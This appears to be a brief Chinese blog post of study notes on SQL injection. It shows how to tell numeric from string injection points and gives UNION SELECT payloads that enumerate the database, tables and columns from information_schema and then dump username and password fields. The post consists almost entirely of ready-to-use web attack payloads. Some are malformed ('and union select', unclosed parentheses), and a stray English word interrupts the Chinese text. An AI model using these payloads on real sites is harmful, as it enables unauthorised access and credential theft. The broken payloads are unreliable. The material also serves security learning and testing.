sql注入

字符型、数字型sql判断

数字型

  • id = 1' 报错
  • id = 1 and 1=1 返回结果和id=1一样
  • id=1 and 1=2 异常

字符型

  • id = 1' 报错
  • id = 1' and 1=1--+ 返回结果和id=1一样
  • id =1' and 1=2--+ 异常

联合查询

查询回显的字段数量

?id=1 order by 3    //判断order by后面的数字,如果正确则会显示和id=1一样的结果,如果错误Kennedy不回显或者报错

查询数据库名,数据库版本

?id=-1 union select 1,version(),database()     //-1表示前面的内容错误,这样才能显示后面的内容,防止被覆盖

查询数据库表名

?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='查出来的库名' )

或者?id=-1 and union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

查询表的字段

?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='查出来的表名'

查询表的内容

?id=-1 union select 1,2,(select group_concat(username,password) from 查出来的库名.查出来的表名    //username和password是表中的字段

posted @ 2021-08-29 10:20  Ayheng  阅读(37)  评论(0)    收藏  举报